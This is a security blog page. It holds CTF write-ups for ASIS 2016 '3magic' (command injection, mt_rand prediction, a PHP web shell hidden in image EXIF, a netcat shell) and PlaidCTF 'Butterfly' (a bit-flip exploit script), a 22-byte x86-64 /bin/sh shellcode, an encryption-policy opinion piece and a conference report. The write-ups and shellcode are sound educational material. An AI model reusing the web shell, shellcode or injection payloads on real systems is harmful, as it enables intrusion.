System Overlord

A blog about security engineering, research, and general hacking.

ASIS CTF 2016: 3magic

We’re directed to a web application that provides us with the ability to ping an arbitrary host. Like many such web interfaces, this one is vulnerable to command injection. We can provide flags like -v to get the version of ping being used, but inserting other characters, like |, ;, or $() result in a response of invalid character detected. Notably, so do spaces and tabs, significantly limiting the ability to run commands (we’ll see how to get around this shortly).

ping

I spent some time testing various characters and discovered that neither ampersands nor newlines were included in the filter set, so these could be used to separate commands. I could quickly list the files in the current directory with &ls, but couldn’t figure out a way to traverse directories.

1
2
3
files
index.php
pages

One of my teammates discovered that you could use brace expansion to add command arguments, so &{ls,pages} lets us list the pages directory:

1
2
Adm1n1sTraTi0n2.php
ping.php

Adm1n1sTraTi0n2.php looks interesting, but I’d really like to see the source. Several attempts to get source result in an error of addr is too long, which seems to occur at 15 characters. Eventually, we hit upon the idea of using the command grep -Hr . . to grep for every line of every file in the current directory and below. This looks like &{grep,-Hr,.,.} and gives us the source of every file we’re looking at (though not in a very pretty format). I’ve cleaned them up below.

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<head>
  <title>3magic</title>
<body>
  <li>
    <a href='?page=ping'>ping</a>
  </li>
  <?php
    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
  ?>
      <li>
      <a href='?page=???'>admin</a>
      </li>
  <?php
    }
  ?>
  <hr>
  <?php
  if (isset($_GET['page'])) {
    $p = $_GET['page'];
    if (preg_match('/(:\/\/)/', $p)) {
      die('attack detected');
    }
    include("pages/".$p.".php");
    die();
  }
  ?>
</body>
</html>

ping.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<p>ping</p>
<form action="./?page=ping" method="POST">
  <input type="text" name="addr" placeholder="addr">
  <input type="submit" value="send">
</form>
<textarea style="width: 300px; height: 300px" placeholder="result">
<?php
if (isset($_POST['addr'])) {
  $addr = $_POST['addr'];
  if (preg_match('/[`;$()| \/\'>"\t]/', $addr)) {
    die("invalid character detected");
  }
  if (strpos($addr, ".php") !== false){
    die("invalid character detected");
  }
  if (strlen($addr) > 15) {
    die("addr is too long");
  }
  @system("timeout 2 bash -c 'ping -c 1 $addr' 2>&1");
}
?>
</textarea>

Adm1n1sTraTi0n2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<p>image inspector</p>
<?php
mt_srand((time() % rand(1,10000) + rand(2000,5000))%rand(1000,9000)+rand(2000,5000));
// files directory flushed every 3min
setcookie('test', mt_rand(), time(), '/');
if (isset($_POST['submit'])) {
  $check = getimagesize($_FILES['file']['tmp_name']);
  if($check !== false) {
    echo 'File is an image - ' . $check['mime'];
    $filename = '/var/www/html/3magic/files/'.mt_rand().'_'.$_FILES['file']['name']; // prevent path traversal
    move_uploaded_file($_FILES['file']['tmp_name'], $filename);
    echo "<br>\n";
    system('/usr/bin/file -b '.escapeshellarg($filename));
    echo "<br>\n";
  } else {
    echo "File is not an image";
  }
}
?>
<form action="?page=Adm1n1sTraTi0n2" method="post" enctype="multipart/form-data">
  Select image to upload:
  <input type="file" name="file">
  <input type="submit" value="Upload Image" name="submit">
</form>

So, we have a file upload with validation to test if the image is, in fact, an image. (getimagesize is pretty hard to fake.) We can upload arbitrary files, but I’m not sure if we can get them included thanks to the detection of slashes in the include in index.php. There’s also the small matter of predicting the value of mt_rand() used in the filename. On second glance, I realize there’s nothing stopping us from uploading a file whose extension is .php, but there’s still the matter of mt_rand(). It actually took me several minutes before I noticed the cookie being set, leaking a value from mt_rand(). I know mt_rand isn’t secure and should be predictable, but I’m not sure how to do it.

It turns out there’s a tool out there to find the seed from a returned value of mt_rand, except it turns out it takes about 10 minutes on my laptop. I realized the mt_srand call to seed mt_rand looked a little bit funny with all the math. Working it through, I realized that, rather than a full 2**32 range for the seed, the entire working range is only between 3000 and 14000. With this range, it turned out a small PHP script was a better option to figure out the next mt_rand value:

1
2
3
4
5
6
7
8
9
<?PHP
for($i=3000;$i<=14000;$i++) {
  mt_srand($i);
  if (mt_rand() == $argv[1]) {
    print mt_rand();
    print "\n";
    break;
  }
}

With this tool, I was able to predict full filenames, and could upload images with the extension .php. To get code execution, I added <?PHP passthru($_GET['x']); ?> as the EXIF comment in a JPEG image and uploaded it as a .php file. I was quickly able to confirm both that my script and the PHP embedded worked by listing the directory.

Now, to find the flag. It wasn’t in the working directory or the document root, so I checked the root of the system, and found a file named flag, but it turned out it was only readable by the user flag, and I was running as www-data. However, it turned out that there was also a program /read_flag, but attempting to call it from my PHP shell resulted in a Segmentation Fault. So I started a shell with netcat, and tried from this shell. Still, a segmentation fault. Maybe it needed a pty? Fortunately, there’s a nice python one-liner to allocate a pseudo terminal: python -c "import pty;pty.spawn('/bin/bash')" Running /read_flag from this point gave results:

1
2
3
4
5
6
www-data@web-tasks:~/html/3magic/files$ /read_flag
/read_flag
Write "*please_show_me_your_flag*" on my tty, and I will give you flag :)
*please_show_me_your_flag*
*please_show_me_your_flag*
ASIS{015c6456955c3c44b46d8b23d8a3187c}

Even shorter x86-64 shellcode

So about two years ago, I put together the shortest x86-64 shellcode for execve("/bin/sh",...); that I could. At the time, it was 25 bytes, which I thought was pretty damn good. However, I’m a perfectionist and so I spent some time before work this morning playing shellcode golf. The rules of my shellcode golf are pretty simple:

  • The shellcode must produce the desired effect.
  • It doesn’t have to do things cleanly (i.e., segfaulting after is OK, as is using APIs in unusual ways, so long as it works)
  • It can assume the stack pointer is at a place where it will not segfault and it will not overwrite the shellcode itself.
  • No NULLs. While there might be other constraints, this one is too common to not have as a default.

So, spending a little bit of time on this, I came up with the following 22 byte shellcode:

1
2
3
4
5
6
7
8
9
10
11
BITS 64

xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
syscall

Assembled, we get:

1
char shellcode[] = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05";

This is shorter than anything I could find on shell-storm or other shellcode repositories. If you know of something shorter or think you can do better, let me know!


PlaidCTF 2016: Butterfly

Butterfly was a 150 point pwnable in the 2016 PlaidCTF. Basic properties:

  • x86_64
  • Not PIE
  • Assume ASLR, NX

It turns out to be a very simple binary, all the relevant code in one function (main), and using only a handful of libc functions. The first thing that jumped out to me was two calls to mprotect, at the same address. I spent some time looking at the disassembly and figuring out what was going on. The relevant portions can be seen here:

First mprotect call Second mprotect call

I determined that the binary performed the following:

  1. Print a message.
  2. Read a line of user input and convert it to a long with strtol.
  3. Take the read value and right shift by 3 bits. Let’s call this addr.
  4. Find the (4096-bit) page containing addr and call mprotect with PROT_READ|PROT_WRITE|PROT_EXEC.
  5. xor the byte at addr with 1 << (input & 7). In other words, the lowest 3 bits of the user-provided long are used to index the bit within the byte to flip.
  6. Reprotect the page containing addr as PROT_READ|PROT_EXEC.
  7. Print a final message.

The TL;DR is that we’re able to flip any bit in any mapped address space of the process. Due to ASLR, I decided to focus on the .text section of the binary as my first goal. Specifically, I began looking at the GOT and all of the executable code after the bit being flipped. I couldn’t immediately happen on anything obvious (there’s not some branch to flip to system("/bin/sh") after all).

I had an idea that redirecting control flow with one of the function calls (either mprotect or puts) seemed like a logical place to flip bits. I didn’t see an immediately obvious choice, so I wrote a script to brute force addresses within the two calls, flipping one bit at a time. I happened upon a bit flip in the call to mprotect that resulted in jumping back to _start+16, which effectively restarted the program. This meant I could continue to flip bits, as the one call had been replaced already.

Along with one of my team mates, we hit upon the idea of replacing the code at the end of the program with our shellcode by flipping the necessary bits. We chose code beginning at 0x40084d because it meant we could flip one bit in a je at the top to get to this code when we were ready to execute our shellcode.

We extracted the bytes originally at that address, xor’d with our shellcode (a simple 25-byte /bin/sh shellcode that I’ve previously featured), and determined which bits needed to be flipped. We then calculated the bit flips and wrote a list of numbers to perform them.

In short, we needed to:

  1. Flip a bit in call mprotect to give us a never-ending loop.
  2. Flip about 100 bits to deploy our shellcode.
  3. Flip one final bit to change the je to jne after the call to fgets.
  4. Provide garbage input for the final call to gets.

My team mate and I both wrote scripts to do this because we were playing with different techniques in python. Here’s mine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
base = 0x40084d
sc = '\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05'
current = 'dH\x8b\x04%(\x00\x00\x00H;D$@u&D\x89\xf0H\x83\xc4H[A'
flips = ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(sc, current))

start_loop = 0x20041c6
end_loop = 0x2003eb0

print hex(start_loop)

for i, pos in enumerate(flips):
    pos = ord(pos)
    for bit in xrange(8):
        if pos & (1<<bit):
            print hex(((base + i) << 3) | bit)

print hex(end_loop)
print 'whoami'

Redirecting to netcat allowed us to obtain a shell, and the flag. Great challenge and amazing to see how one bit flip can do so much!


Ham Fisted Legislators

There’s fortunately been a lot of media coverage of a typically ham-fisted attempt to legislate technology:

For once, it’s not just been technology blogs: Fortune, Reuters, and USA Today are among those covering the legislative failure.

The fact that one of the cosponsors is one of my own Senators (Dianne Feinstein) makes this all the more painful for me. She claims to be a Democrat, but her legislative agenda has shown her to be more of right-wing police-state NSA-apologist than a California liberal. I’m sure it’s no coincidence that her husband has significant holdings in military complex corporations that benefit from her anti-American police-state tactics.

I should mention at this point that, in case it hasn’t been obvious, I’m not a lawyer. I had to consult a dictionary for some of the words in this bill (“notwithstanding” is a word that seems to only be used in legislation, and is very important here), but I think my interpretation of their intent is different from many of the blogs, based on the following language:

Nothing in this Act may be construed to authorize any government officer to require or prohibit any specific design or operating system to be adopted by any covered entity.

Now while the current text does seem to require a backdoor in any cryptography, I don’t think that was the intent. I think the intent was only to require the provider to turn over plaintext if they were capable of doing so under the current design. Unfortunately, it doesn’t seem they wrote it that way, as is typical when legislators who don’t know what they’re doing, don’t understand technology, and don’t get input try to legislate technology.

I completely agree that we need legislation regarding encryption and searches, but I take a little bit of a different spin from Senator Feinstein. We should have federal legislation prohibiting lower levels from requiring backdoors, as is being tried in California. Law-abiding citizens shouldn’t have their security weakened (and there’s a general consensus among cryptographers that it’s impossible to create backdoors in cryptography without weakening the general security of the system) because of the fearmongering tactics of law enforcement.

Yes, if a service has access to plaintext and is served with a valid 4th ammendment warrant (not a NSL or a kangaroo court FISA order), I believe they should provide the plaintext. We’ve seen what happens with secret warrants and warrantless searches: both with the NSA scandal, but also with Hoover and McCarthy, the Stasi in Germany, and other over-powerful police services. The founders of this country were clearly aware of the risk when they stated:

The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.

Weakening American-made crypto only weakens America. “Bad guys” will still have access to crypto without backdoors from other countries or from before any legislation, so any legislation to weaken cryptography will only serve to enable unconstitutional mass surveillance, weaken American’s rights, all without improving national security one iota.


Women in Cybersecurity Summit

This past weekend, I was at the Women in Cybersecurity Summit in Dallas, TX, both recruiting for my company and copresenting a workshop on web application penetration testing. It was a real eye-opening event for me, mostly because it was the first security event I’ve attended where the bulk of the attendees were students or faculty. I had a great time and met a lot of interesting people, and it’s a very small event, which is something I’m not terribly used to, since I usually go to bigger events.

Talking with undergraduates was particularly inspiring – when I was an undergraduate, there weren’t programs at major universities focusing on information security like there are today. (Even if they insist on calling it “cybersecurity” for marketing reasons.) So many of the undergraduates (and graduates!) had a passion that you don’t see even in a lot of working progressionals, whose cynicism dominates their view of the industry. Also amazing is the level of research and innovation being done by undergraduates. I did some research as an undergraduate, and I know how exciting that can be, so I’m glad to hear of the undergraduates who are getting that opportunity. One student told me about her projects involving machine learning and insider threats, which just blew my mind. I was ecstatic to hear when other students mentioned doing research into censorship and mass surveillance – it’s critical that we get more people, especially upcoming professionals, thinking and working about these key issues.

I’m also hopeful to see more diversity in the security industry: diversity helps prevent group think, helps innovation, and ultimately brings more to the table. Though this conference was definitely light on the tech (compared to what I normally attend), I’m glad to see it succeeding and I hope to see the fruits of its labor next time I’m at another conference.